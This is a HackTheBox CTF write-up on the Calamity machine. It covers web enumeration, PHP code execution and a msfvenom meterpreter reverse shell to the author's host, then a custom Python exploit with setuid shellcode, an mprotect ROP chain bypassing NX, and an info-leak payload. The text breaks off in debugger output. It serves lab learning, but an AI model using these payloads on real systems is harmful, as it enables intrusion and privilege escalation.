HTB Calamity write-up (ret2mprotect, bypass nx, info leak)

This is my write-up for the Calamity machine provided by HackTheBox and created by forGP.

To get root you are required to write a custom exploit that re-enables data execution on the stack and to know how to dance around in memory like a boss. I’m still a little hazy on some parts so if there are any inaccuracies in the stack breakdown, please correct me so I can learn more :slight_smile:

This was my favorite machine on HackTheBox I’ll be breaking the post up into three phases:

Phase 1 - Enumeration
Phase 2 - Exploitation
Phase 3 - Privilege Escalation

Source Code Review
Exploit Development
Information Leak
Assembling The Pieces

Shall we take a trip down memory lane? :eyes:

Phase 1 - Enumeration

First and foremost lets run a basic nmap scan and see what we are working with

➜  ~ nmap -A --open -R -T4 --max-retries 3 --min-rate 120 --max-rtt-timeout 300ms -Pn 10.10.10.27

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-15 19:37 EST
Nmap scan report for 10.10.10.27
Host is up (0.12s latency).
Not shown: 794 closed ports, 204 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b6:46:31:9c:b5:71:c5:96:91:7d:e4:63:16:f9:59:a2 (RSA)
|   256 10:c4:09:b9:48:f1:8c:45:26:ca:f6:e1:c2:dc:36:b9 (ECDSA)
|_  256 a8:bf:dd:c0:71:36:a8:2a:1b:ea:3f:ef:66:99:39:75 (EdDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Brotherhood Software
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.80 seconds

Let’s check out the Apache server running on port 80 first, we’ll start by curling the source code.

➜  ~ curl http://10.10.10.27
<html>
<head>
<title>Brotherhood Software</title>
</head>
<body background="bg.png">
<center>
<h1 style="color:red">Brotherhood Software - writing security related software since 2009</h1>
<!-- and bad at html and design since forever -->
<div style="opacity:0.4;">
<img src="leet.png"/>
</div>

<div style="color:red">this e-store is under development !Haven't done much yet because we put a lot of time on our pro-products <!-- liiiieeesss -->^_^ ...but it will soon be operating
</div></center>
</body>
</html>

Looks like forGP gave us a hint that these guys weren’t very competent developers. This will become clear later.

Let’s do a little dirbusting with wfuzz and our admin-panels.txt wordlist.

➜  ~ wfuzz --hc 404 -w /usr/share/wordlists/wfuzz/general/admin-panels.txt http://10.10.10.27/FUZZ
Target: HTTP://10.10.10.27/FUZZ
Total requests: 137

========================================================================
ID	Response    Lines	Word		Chars		Payload
========================================================================

00001:	C=200	    10 L	25 W		451 Ch		"admin.php"

Total time: 2.725248
Processed Requests: 137
Filtered Requests: 136
Requests/sec.: 50.27065

Our wfuzz came back fruitful within seconds, by visitng admin.php we are greeted with the login form. After viewing the source and trying a few SQL Injections and getting no where I decided to curl the page.

➜  ~ curl http://10.10.10.27/admin.php
<html><body>

<form method="post">
Password: <input type="text" name="user"><br>
Username: <input type="password" name="pass">
  <input type="submit" value="Log in to the powerful administrator page">
<!-- password is:skoupidotenekes-->
</form> 
</body></html>

Here we see the highly skilled developer left the password for his admin panel in an html comment, cleverly hidden away on the far right side of the source code. Not that curl cares. After logging in we have this lovely piece of work

➜  ~ curl --cookie "adminpowa=noonecares" http://10.10.10.27/admin.php


<html>
<title>GOT U BEEJAY</title>
<body>
TADAA IT HAS NOTHING
<br>
what were you waiting for dude ?you know I aint finished creating<br>
xalvas,the boss said I am a piece of shit and that I dont take my job seriously...but when all this is set up...Ima ask for double the money<br>
just cauz he insulted me <br>
Maybe he's still angry at me deleting the DB on the previous site...he should keep backups man ! 
<br>
anyway I made an html interpreter to work on my php skills !

It wasn't easy I assure you...I'm just a P-R-O on PHP !!!!!!!!!
<br>
access in here is like 99% secure ,but even if that 1% reaches this page ,there's nothing they can do ! 
<br>
html is super-harmless to our system!
Try writing some simple stuff ...and see how difficult my job is and how underpaid I am



<form method="get">
Your HTML: <input type="text" name="html"><br>
  <input type="submit" value="SHOW ME DA PAGE">
</form> 
</body></html>

Phase 2 - Exploitation

Reading this message hurt my brain but once I saw “I’m just a P-R-O on PHP” it was time for the most elite remote code execution
<?php phpinfo(); ?>

Much to my surprise this worked.

Wasting absolutely no more time I grabbed a meterpreter session using a msfvenom payload.

➜  ~ msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.15.140 lport=4433 -o test.php
msf > use multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost tun0
lhost => tun0
msf exploit(multi/handler) > set lport 4433
lport => 4433
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.15.140:4433 
[*] Sending stage (37543 bytes) to 10.10.10.27
[*] Meterpreter session 1 opened (10.10.15.140:4433 -> 10.10.10.27:52006) at 2018-01-15 19:52:23 -0500

meterpreter > getuid
Server username: www-data (33)

Now with a shell it was time to poke around the box a bit

meterpreter > ls /home
Listing: /home
==============

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40755/rwxr-xr-x  4096  dir   2018-01-15 17:34:16 -0500  xalvas

meterpreter > cd /home/xalvas
meterpreter > ls
Listing: /home/xalvas
=====================

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
100644/rw-r--r--  220      fil   2017-06-27 19:25:56 -0400  .bash_logout
100644/rw-r--r--  3790     fil   2017-06-27 19:26:45 -0400  .bashrc
40700/rwx------   4096     dir   2017-06-27 19:36:23 -0400  .cache
40750/rwxr-x---   4096     dir   2018-01-15 17:34:16 -0500  .config
100664/rw-rw-r--  43       fil   2017-06-27 18:11:27 -0400  .gdbinit
40775/rwxrwxr-x   4096     dir   2017-06-27 19:24:52 -0400  .nano
100644/rw-r--r--  655      fil   2017-06-27 19:26:07 -0400  .profile
100644/rw-r--r--  0        fil   2017-06-27 13:03:39 -0400  .sudo_as_admin_successful
40755/rwxr-xr-x   4096     dir   2017-06-27 18:01:12 -0400  alarmclocks
40750/rwxr-x---   4096     dir   2017-06-29 14:00:44 -0400  app
100644/rw-r--r--  225      fil   2017-06-27 18:16:26 -0400  dontforget.txt
100644/rw-r--r--  3759     fil   2018-01-15 19:49:28 -0500  intrusions
40775/rwxrwxr-x   4096     dir   2017-06-27 18:09:07 -0400  peda
100644/rw-r--r--  3196724  fil   2017-06-27 18:00:49 -0400  recov.wav
100444/r--r--r--  33       fil   2017-12-24 10:31:11 -0500  user.txt

meterpreter > cat user.txt
0790e7be60d5cd7faeeb9ac550762e5e

This is where it gets a little CTF-y briefly, strap in, sudo apt-get install audacity, and if you’re like me cry a little at being forced to do steganography.

meterpreter > download recov.wav
[*] Downloading: recov.wav -> recov.wav
[*] Downloaded 1.00 MiB of 3.05 MiB (32.8%): recov.wav -> recov.wav
[*] Downloaded 2.00 MiB of 3.05 MiB (65.6%): recov.wav -> recov.wav
[*] Downloaded 3.00 MiB of 3.05 MiB (98.4%): recov.wav -> recov.wav
[*] Downloaded 3.05 MiB of 3.05 MiB (100.0%): recov.wav -> recov.wav
[*] download   : recov.wav -> recov.wav
meterpreter > download alarmclocks/rick.wav
[*] Downloading: alarmclocks/rick.wav -> rick.wav
[*] Downloaded 1.00 MiB of 3.05 MiB (32.8%): alarmclocks/rick.wav -> rick.wav
[*] Downloaded 2.00 MiB of 3.05 MiB (65.6%): alarmclocks/rick.wav -> rick.wav
[*] Downloaded 3.00 MiB of 3.05 MiB (98.41%): alarmclocks/rick.wav -> rick.wav
[*] Downloaded 3.05 MiB of 3.05 MiB (100.0%): alarmclocks/rick.wav -> rick.wav
[*] download   : alarmclocks/rick.wav -> rick.wav

Load the rick.wav into audacity, and then import recov.wav

Click on rick.wav and add an invert effect, now instead of being rick roll’d by forGP we can hear it read out a password, note that the password starts at the end of the track and continues reading into the beginning.
Your password is 18547936…*

There’s no way it could possibly be the ssh login!

Phase 3 - Privilege Escalation

But It was the ssh login.

➜  ~ ssh [email protected]
[email protected] password: 
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-81-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

9 packages can be updated.
8 updates are security updates.


Last login: Mon Jan 15 19:21:45 2018 from 10.10.14.56
xalvas@calamity:~$ 

Having a look around we found a binary with the suid bit set without even needing to run the find command

xalvas@calamity:~$ ls -la app
total 28
drwxr-x--- 2 root   xalvas  4096 Jun 29  2017 .
drwxr-xr-x 8 xalvas xalvas  4096 Jan 15 17:34 ..
-r-sr-xr-x 1 root   root   12584 Jun 29  2017 goodluck  <-- look ma, suid
-r--r--r-- 1 root   root    3936 Jun 29  2017 src.c

Seems as though this is going to be like babytown frollicks! A suid binary and the source code?! Let’s examine the source to get an idea as to how to approach this.

Source Code Review

This seems important as it’s creating a buffer of USIZE where data may potentially be user suplied.

#define USIZE 12
#define ISIZE 4

  struct f {
    char user[USIZE];
    //int user;
    int secret;
    int admin;
    int session;
  }
hey;

This is allowing for user input in the form of a file to be supplied to the application and as we suspected the file contents are then copied into the previous struct’s user buffer.

void createusername() {
//I think  something's bad here
unsigned char for_user[ISIZE];

  printf("\nFilename:  ");

  char fn[30];
  scanf(" %28s", & fn);

flushit();
  copy(fn, for_user,USIZE);


 strncpy(hey.user,for_user,ISIZE+1);
  hey.user[ISIZE+1]=0;

}

Honestly I don’t need to read anything else when you literally tell me this is vulnerable, I’m going to start here.

void debug() {

  printf("\nthis function is problematic on purpose\n");
  printf("\nI'm trying to test some things...and that means get control of the program! \n");

  char vuln[64];

  printf("vulnerable pointer is at %x\n", vuln);
  printf("memory information on this binary:\n", vuln);

  printmaps();

  printf("\nFilename:  ");

  char fn[30];
  scanf(" %28s", & fn);
  flushit();
  copy(fn,vuln,100);//this shall trigger a buffer overflow

  return;

}

But just to be good padawans we have to look a little more, if nothing else just to put it into the back of our mind, we might need it later! This is definitely going to be interesting as it’s a way to gain administrative privileges to the app, however you need to have a secret and it has to match. There doesn’t appear to be a way to pass the login within the app so we likely will have to pass it through file contents, but we’ll see.

void attempt_login(int shouldbezero, int safety1, int safety2) {

  if (safety2 != safety1) {
    printf("hackeeerrrr");
    fflush(stdout);
	exit(666);
  }
  if (shouldbezero == 0) {
    printf("\naccess denied!\n");
    fflush(stdout);
  } else debug();

}

So here we see how our secret gets defined, and it is not something we directly seem to control, however we will come back to this later.

int sess= rand();

  struct timeval tv;
  gettimeofday( & tv, NULL);

  int whoopsie=0;
  int protect = tv.tv_usec |0x01010101;//I hate null bytes...still secure !


  hey.secret = protect;
  hey.session = sess;
  hey.admin = 0;


  createusername();

  while (1) {
    char action = print();

    if (action == '1') {
      //I striped the code for security reasons !

    } else if (action == '2') {
      printdeb(hey.session);
    } else if (action == '3') {
      attempt_login(hey.admin, protect, hey.secret);
      //I'm changing the program ! you will never be to log in as admin...
      //I found some bugs that can do us a lot of harm...I'm trying to contain them but I think I'll have to
      //write it again from scratch !I hope it's completely harmless now ...
    }

    else if(action=='4')createusername();
    else if (action == '5') return;

  }

Exploit Development

First lets run the program and then press ctrl+c to examine some basic information peda supplies to us. We can also run checksec to see what kind of security mechanisms are in place.

xalvas@calamity:~/app$ gdb -q goodluck
Reading symbols from goodluck...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/xalvas/app/goodluck 
^C
Program received signal SIGINT, Interrupt.

[----------------------------------registers-----------------------------------]
EAX: 0xfffffdfc 
EBX: 0xbffff5d8 --> 0x1 
ECX: 0xbffff5d8 --> 0x1 
EDX: 0x7fffffff 
ESI: 0xb7ffd940 (0xb7ffd940)
EDI: 0xbffff5d8 --> 0x1 
EBP: 0x0 
ESP: 0xbffff59c --> 0x0 
EIP: 0xb7fdac31 (<__kernel_vsyscall+9>:	pop    ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fdac2b <__kernel_vsyscall+3>:	mov    ebp,esp
   0xb7fdac2d <__kernel_vsyscall+5>:	sysenter 
   0xb7fdac2f <__kernel_vsyscall+7>:	int    0x80
=> 0xb7fdac31 <__kernel_vsyscall+9>:	pop    ebp
   0xb7fdac32 <__kernel_vsyscall+10>:	pop    edx
   0xb7fdac33 <__kernel_vsyscall+11>:	pop    ecx
   0xb7fdac34 <__kernel_vsyscall+12>:	ret    
   0xb7fdac35:	retf   0xfffa
[------------------------------------stack-------------------------------------]
0000| 0xbffff59c --> 0x0 
0004| 0xbffff5a0 --> 0x7fffffff 
0008| 0xbffff5a4 --> 0xbffff5d8 --> 0x1 
0012| 0xbffff5a8 --> 0xb7eca3a0 (<__nanosleep_nocancel+22>:	mov    ebx,edx)
0016| 0xbffff5ac --> 0xb7eca2fd (<__sleep+109>:	add    esp,0x10)
0020| 0xbffff5b0 --> 0xbffff5d8 --> 0x1 
0024| 0xbffff5b4 --> 0xbffff5d8 --> 0x1 
0028| 0xbffff5b8 --> 0xc2 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGINT
0xb7fdac31 in __kernel_vsyscall ()
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : Partial

Here we can see some interesting bits. First we notice that NX is enabled, this means that data execution will be disabled in the context of the stack. So even if we are able to overwrite memory, or even the Instruction Pointer we will be unable to execute shellcode unless we can find a way to re-enable data execution on the stack. Interestingly, peda returned to us a pop pop pop ret rop chain which starts at 0xb7fdac31.

Next let’s hop into the debug menu we learned about earlier and see what’s what with jump debug

gdb-peda$ jump debug
Continuing at 0x80000c15.

this function is problematic on purpose

I'm trying to test some things...and that means get control of the program! 
vulnerable pointer is at bfffee48
memory information on this binary:

80000000-80002000 r-xp 00000000 08:01 404837     /home/xalvas/app/goodluck
80002000-80003000 r--p 00001000 08:01 404837     /home/xalvas/app/goodluck
80003000-80004000 rw-p 00002000 08:01 404837     /home/xalvas/app/goodluck
80004000-80025000 rw-p 00000000 00:00 0          [heap]
b7e1a000-b7e54000 r-xp 00000000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7e54000-b7e55000 r--p 0003a000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7e55000-b7fca000 r-xp 0003b000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7fca000-b7fcc000 r--p 001af000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7fcc000-b7fcd000 rw-p 001b1000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7fcd000-b7fd0000 rw-p 00000000 00:00 0 
b7fd6000-b7fd8000 rw-p 00000000 00:00 0 
b7fd8000-b7fda000 r--p 00000000 00:00 0          [vvar]
b7fda000-b7fdb000 r-xp 00000000 00:00 0          [vdso]
b7fdb000-b7ffd000 r-xp 00000000 08:01 142016     /lib/i386-linux-gnu/ld-2.23.so
b7ffd000-b7ffe000 rw-p 00000000 00:00 0 
b7ffe000-b7fff000 r--p 00022000 08:01 142016     /lib/i386-linux-gnu/ld-2.23.so
b7fff000-b8000000 rw-p 00023000 08:01 142016     /lib/i386-linux-gnu/ld-2.23.so
bfedf000-c0000000 rw-p 00000000 00:00 0          [stack]



Filename:  

This provides us with some good information from the memorymaps, namely we learn that the vulnerable pointer is at 0xbfffee48 and that the stack is located at 0xbfedf000-c0000000

Before we move forward with learning how we can re-enable execution in the context of the stack, lets see what we’re working with

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100 > fuzzfile

Load this file into the debug menu and attempt to view the session id with menu option 2, then examine the crash

Stopped reason: SIGSEGV
0x63413563 in ?? ()

With this information we can find the exact offset for our exploit

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563
[*] Exact match at offset 76

Now that we have this information we need to figure out how to re-enable execution on the stack, lets start by disassembling main

gdb-peda$ disas main
Dump of assembler code for function main:
   0x80000d77 <+0>:	lea    ecx,[esp+0x4]
   0x80000d7b <+4>:	and    esp,0xfffffff0
   0x80000d7e <+7>:	push   DWORD PTR [ecx-0x4]
   0x80000d81 <+10>:	push   ebp
   0x80000d82 <+11>:	mov    ebp,esp
   0x80000d84 <+13>:	push   ebx
   0x80000d85 <+14>:	push   ecx
   0x80000d86 <+15>:	sub    esp,0x20
   0x80000d89 <+18>:	call   0x80000820 <__x86.get_pc_thunk.bx>
   0x80000d8e <+23>:	add    ebx,0x2272
   0x80000d94 <+29>:	push   0x1
   0x80000d96 <+31>:	push   0x3add6
   0x80000d9b <+36>:	push   0xb7e1a000
   0x80000da0 <+41>:	call   0xb7efcd50 <mprotect>
   ---trimmed due to length---

After researching mprotect, I learned that it can be used to re-enable execution on the stack via the entry in the linux manual.

Now mprotect takes three arguments, hence the pop pop pop ret peda returned to us earlier. The first argument is the mapped region of memory, the second is the size of the stack, and the third are the permissions.

We already know the mapped region from the stack output of the debug memorymaps and we already know we want to set it to 0x7 for executable.

We just need to calculate the size of the stack, I use this tool. By subtracting 0xbfedf000 from 0xc0000000 we get 0x121000

With this information we can build a template for our exploit!

# re-enable execution on the stack
payload += p(0xb7efcd50) # mprotect
payload += p(0xb7fdac31) # ropgadget for pop3ret
payload += p(0xbfedf000) # start of stack
payload += p(0x121000)   # size of stack
payload += p(0x7)        # permissions
payload += p(0xbfffee48) # vulnerable pointer

Note: Never run shellcode if you don’t know what it does.

With this template figured out we can begin building our exploit, but we will need some shellcode to execute, I went with this entry from shell-storm as it performs setuid(0) as well as being able to fit in very limited space being only 28-bytes.

#!/usr/bin/python
import os
import struct

# convert address to little-endian format
def p(arg):
	return struct.pack('<L', arg)

# /bin/dash
shellcode = "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80"
nops = "\x90" * 10

# crash with embedded nopsled into shellcode
payload = nops
payload += shellcode

# padding
payload += "A" * ( 76 - len(shellcode) - len(nops) )

# re-enable execution in stack context
payload += p(0xb7efcd50) # mprotect
payload += p(0xb7fdac31) # ropgadget for pop3ret
payload += p(0xbfedf000) # start of stack
payload += p(0x121000)   # size of stack
payload += p(0x7)        # permissions

payload += p(0xbfffee48) # vulnerable pointer
print payload

Now let’s generate our exploit and check out what it looks like in file form

xalvas@calamity:/tmp/test$ python exploit.py > exploit
xalvas@calamity:/tmp/test$ cat exploit
����������1ۍC�̀1�Qhn/shh//bi�A
                              ��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP���1������H���

Now by loading this into the debug function we should get a crash. However keep an eye on the vulnerable pointer reported by the debug function because it will change on each instance of the program, and likely we have crashed it a few times by now :sunglasses:

gdb-peda$ jump debug
Continuing at 0x80000c15.

this function is problematic on purpose

Im trying to test some things...and that means get control of the program! 
vulnerable pointer is at bfffee48
memory information on this binary:

80000000-80002000 r-xp 00000000 08:01 404837     /home/xalvas/app/goodluck
80002000-80003000 r--p 00001000 08:01 404837     /home/xalvas/app/goodluck
80003000-80004000 rw-p 00002000 08:01 404837     /home/xalvas/app/goodluck
80004000-80025000 rw-p 00000000 00:00 0          [heap]
b7e1a000-b7e54000 r-xp 00000000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7e54000-b7e55000 r--p 0003a000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7e55000-b7fca000 r-xp 0003b000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7fca000-b7fcc000 r--p 001af000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7fcc000-b7fcd000 rw-p 001b1000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7fcd000-b7fd0000 rw-p 00000000 00:00 0 
b7fd6000-b7fd8000 rw-p 00000000 00:00 0 
b7fd8000-b7fda000 r--p 00000000 00:00 0          [vvar]
b7fda000-b7fdb000 r-xp 00000000 00:00 0          [vdso]
b7fdb000-b7ffd000 r-xp 00000000 08:01 142016     /lib/i386-linux-gnu/ld-2.23.so
b7ffd000-b7ffe000 rw-p 00000000 00:00 0 
b7ffe000-b7fff000 r--p 00022000 08:01 142016     /lib/i386-linux-gnu/ld-2.23.so
b7fff000-b8000000 rw-p 00023000 08:01 142016     /lib/i386-linux-gnu/ld-2.23.so
bfedf000-c0000000 rw-p 00000000 00:00 0          [stack]



Filename:  /tmp/test/exploit
process 1680 is executing new program: /bin/dash
$ id
[New process 4492]
process 4492 is executing new program: /usr/bin/id
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
uid=1000(xalvas) gid=1000(xalvas) groups=1000(xalvas),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
$ [Inferior 2 (process 4492) exited normally]

Now we have re-enabled executon on the stack proven by the fact our shellcode ran /bin/dash, however because we have run the program through gdb to get to the debug menu we are sandboxed as xalvas and not running with the suid bit we saw earlier.

Information Leak

The next step will be to find a way to jump into the debug menu from normal execution.

Initially by trying to access admin we get access denied! which if you read attempt_login from the source code review section above that is because its looking for a secret value to match before it will allow you into the debug menu.

So lets start by fuzzing it.

xalvas@calamity:/tmp/test$ echo "A" > fuzz

When we load this file and examine our session id from menu option two we get debug info: 0x37f3a5ef

Without closing the program currently executing in gdb we get the same result until we send it 8 characters which now gives us debug info: 0x0

Interesting, lets try 9: debug info: 0x81fffffd

10, segfault, okay, so now we can try to get an information leak, we need to leak the value from the hey struct we examined earlier to get the value of the secret that gets passed to attempt_login to do this we need to look at the disassembly a bit more.

Let’s try to get an understanding of whats going on

xalvas@calamity:/tmp/test$ echo "AAAABBBBCCCCDDDD" > fuzz

If we load this in and try to examine the session id we get a crash but look closely

[----------------------------------registers-----------------------------------]
EAX: 0x434343ab 
EBX: 0x43434343 ('CCCC')
ECX: 0xa ('\n')
EDX: 0xb7fcd87c --> 0x0 
ESI: 0xb7fcc000 --> 0x1b1db0 
EDI: 0xb7fcc000 --> 0x1b1db0 
EBP: 0xbffff638 --> 0x0 
ESP: 0xbffff610 --> 0x1 
EIP: 0x80000e51 (<main+218>:	mov    eax,DWORD PTR [eax+0x14])
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80000e45 <main+206>:	cmp    BYTE PTR [ebp-0x15],0x32
   0x80000e49 <main+210>:	jne    0x80000e62 <main+235>
   0x80000e4b <main+212>:	lea    eax,[ebx+0x68]
=> 0x80000e51 <main+218>:	mov    eax,DWORD PTR [eax+0x14]
   0x80000e54 <main+221>:	sub    esp,0xc
   0x80000e57 <main+224>:	push   eax
   0x80000e58 <main+225>:	call   0x80000be3 <printdeb>
   0x80000e5d <main+230>:	add    esp,0x10
[------------------------------------stack-------------------------------------]
0000| 0xbffff610 --> 0x1 
0004| 0xbffff614 --> 0x80003000 --> 0x2ef4 
0008| 0xbffff618 --> 0x5a5d54f6 
0012| 0xbffff61c --> 0x84c01 
0016| 0xbffff620 --> 0x32000001 
0020| 0xbffff624 --> 0x1094d01 
0024| 0xbffff628 --> 0x0 
0028| 0xbffff62c --> 0x31f9663c 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x80000e51 in main ()

What is happening here is EBX is getting loaded with the value of what we place after the first 8-bytes which in this case is “CCCC”, or 0x43434343. We also see that EAX is getting loaded with something similar, using a calculator you will notice there is a difference of 0x68 between both values. One way of moving values around like this is to use a lea instruction so lets look in memory for a lea that copies EBX+0x68 to EAX by disassembling main

gdb-peda$ disas main
Dump of assembler code for function main:
   0x80000d77 <+0>:	lea    ecx,[esp+0x4]
   0x80000d7b <+4>:	and    esp,0xfffffff0
   0x80000d7e <+7>:	push   DWORD PTR [ecx-0x4]
   0x80000d81 <+10>:	push   ebp
   0x80000d82 <+11>:	mov    ebp,esp
   0x80000d84 <+13>:	push   ebx
   0x80000d85 <+14>:	push   ecx
   0x80000d86 <+15>:	sub    esp,0x20
   ---trimmed due to length---
   0x80000df8 <+129>:	add    esp,0x10
   0x80000dfb <+132>:	mov    DWORD PTR [ebp-0x10],0x0
   0x80000e02 <+139>:	mov    eax,DWORD PTR [ebp-0x1c]
   0x80000e05 <+142>:	or     eax,0x1010101
   0x80000e0a <+147>:	mov    DWORD PTR [ebp-0x14],eax
   0x80000e0d <+150>:	lea    eax,[ebx+0x68]
   ---trimmed due to length---

bingo, 0x80000e0d <+150>: lea eax,[ebx+0x68]

Next lets find where our hey struct lives by searching for it in memory, conveniently we can search for AAAAB as that is what we used in our fuzzing

gdb-peda$ searchmem AAAAB
Searching for 'AAAAB' in: None ranges
Found 2 results, display max 2 items:
goodluck : 0x80003068 ("AAAAB")
  [heap] : 0x80004978 ("AAAABBBBCCCCDDDD\n")

So lets start pokin around 0x80003068

gdb-peda$ x/40x 0x80003068
0x80003068 <hey>:	0x41	0x41	0x41	0x41	0x42	0x00	0x00	0x00
0x80003070 <hey+8>:	0x00	0x00	0x00	0x00	0x01	0x4d	0x09	0x01
0x80003078 <hey+16>:	0x00	0x00	0x00	0x00	0x3c	0x66	0xf9	0x31
0x80003080:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x80003088:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00

Okay this is the start of our hey struct, however we don’t want this address, we actually want to find 0x80003068 - 0x8 - 0x68 as that is what will be put into EBX which after being put into EAX will put us back to right here
which if you do that math will be the address 0x80002ff8

With this information we can move on to the next phase of our exploit, getting an information leak of our secret value needed to get into option 3

Note: do not close the program as this changes values of our secret and there-by our information leak will be useless.

# overwrite EBX with address
# overwrite EAX with address + 0x68
# this will effectively place us right at the start of our A's because
# 0x80002ff8 + 0x68 = 0x80003060

xalvas@calamity:/tmp/test$ python -c "print('A' * 8 +'\xf8\x2f\x00\x80')" > phase1

By loading this file and observing the print session option we get the following

xalvas@calamity:~/app$ ./goodluck 

Filename:  /tmp/test/phase1


	-----MENU-----
1) leave message to admin
2) print session ID
3)login (admin only)
4)change user
5)exit

 action: 2

debug info: 0x1096f49

Assembling The Pieces

Next we need to assemble all of our pieces, we’ll start by making use of this information leak. To do this we need to place the value of our secret in the first four bytes of our file, followed by 4-bytes of junk, and then we need to step back four bytes otherwise our program will crash 0x80002ff8 - 0x4 = 0x80002ff4

#!/usr/bin/python
import struct
# session_id dumped from the previous step
payload = struct.pack("<I", 0x1096f49) # session_id
# padding
payload += "A" * 4
# move backwards 4 so we don't leave junk in memory which will crash the program
payload += struct.pack("<I", 0x80002ff4) 
print payload

xalvas@calamity:/tmp/test$ python phase2.py > phase2

By loading this in and attepting to access admin we are dropped into our debug menu.

Filename:  /tmp/test/phase2


	-----MENU-----
1) leave message to admin
2) print session ID
3)login (admin only)
4)change user
5)exit

 action: 3

this function is problematic on purpose

Im trying to test some things...and that means get control of the program! 
vulnerable pointer is at bffff5c0
memory information on this binary:

80000000-80002000 r-xp 00000000 08:01 404837     /home/xalvas/app/goodluck
80002000-80003000 r--p 00001000 08:01 404837     /home/xalvas/app/goodluck
80003000-80004000 rw-p 00002000 08:01 404837     /home/xalvas/app/goodluck
80004000-80025000 rw-p 00000000 00:00 0          [heap]
b7e1a000-b7e54000 r-xp 00000000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7e54000-b7e55000 r--p 0003a000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7e55000-b7fca000 r-xp 0003b000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7fca000-b7fcc000 r--p 001af000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7fcc000-b7fcd000 rw-p 001b1000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7fcd000-b7fd0000 rw-p 00000000 00:00 0 
b7fd6000-b7fd8000 rw-p 00000000 00:00 0 
b7fd8000-b7fda000 r--p 00000000 00:00 0          [vvar]
b7fda000-b7fdb000 r-xp 00000000 00:00 0          [vdso]
b7fdb000-b7ffd000 r-xp 00000000 08:01 142016     /lib/i386-linux-gnu/ld-2.23.so
b7ffd000-b7ffe000 rw-p 00000000 00:00 0 
b7ffe000-b7fff000 r--p 00022000 08:01 142016     /lib/i386-linux-gnu/ld-2.23.so
b7fff000-b8000000 rw-p 00023000 08:01 142016     /lib/i386-linux-gnu/ld-2.23.so
bfedf000-c0000000 rw-p 00000000 00:00 0          [stack]



Filename:  

Next we just need to load in our exploit from earlier, but note the vulnerable pointer has changed to 0xbffff5c0 update your exploit, and bask in the glory of shell!

xalvas@calamity:/tmp/test$ python exploit.py > exploit
this function is problematic on purpose

Im trying to test some things...and that means get control of the program! 
vulnerable pointer is at bffff5c0
memory information on this binary:

80000000-80002000 r-xp 00000000 08:01 404837     /home/xalvas/app/goodluck
80002000-80003000 r--p 00001000 08:01 404837     /home/xalvas/app/goodluck
80003000-80004000 rw-p 00002000 08:01 404837     /home/xalvas/app/goodluck
80004000-80025000 rw-p 00000000 00:00 0          [heap]
b7e1a000-b7e54000 r-xp 00000000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7e54000-b7e55000 r--p 0003a000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7e55000-b7fca000 r-xp 0003b000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7fca000-b7fcc000 r--p 001af000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7fcc000-b7fcd000 rw-p 001b1000 08:01 142037     /lib/i386-linux-gnu/libc-2.23.so
b7fcd000-b7fd0000 rw-p 00000000 00:00 0 
b7fd6000-b7fd8000 rw-p 00000000 00:00 0 
